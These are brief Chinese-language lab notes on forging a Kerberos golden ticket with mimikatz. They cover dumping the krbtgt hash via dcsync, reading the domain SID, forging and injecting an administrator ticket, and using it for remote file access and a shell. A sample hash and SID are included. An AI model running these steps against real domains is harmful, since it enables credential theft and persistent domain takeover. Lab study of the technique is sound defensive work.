• 伪造黄金票据是域控制器权限维持的一种方式
票据传送实验
准备
1、完整的域名称
2、krbtgt账户的NTLM Hash 或者 AES-256
3、域的sid
4、需要伪造的域管理员用户名
获取krbtgt账户的NTLM Hash
7f7ba402638eb2f6fa96dd72f656d53e
在域控的mimikatz 中运行：
lsadump::dcsync /domain:域名称 /user:krbtgt
获取NTLM Hash
获取域sid
wmic useraccount get name,sid
域sid
域sid：S-1-5-21-148781454-1908209042-142103015
伪造黄金票据
kerberos::golden /admin:administrator /domain:域名称 /sid:域sid /krbtgt:krbtgt账户的NTLM Hash /ticket:xxx.kiribi
伪造黄金票据
票据注入内存
• 清空票据：kerberos::purge
• 导入票据：kerberos::ptt administrator.kiribi
导入票据、清空票据
• 查看票据cmd中运行：
klist
查看票据
验证权限
查看远程文件
执行shell
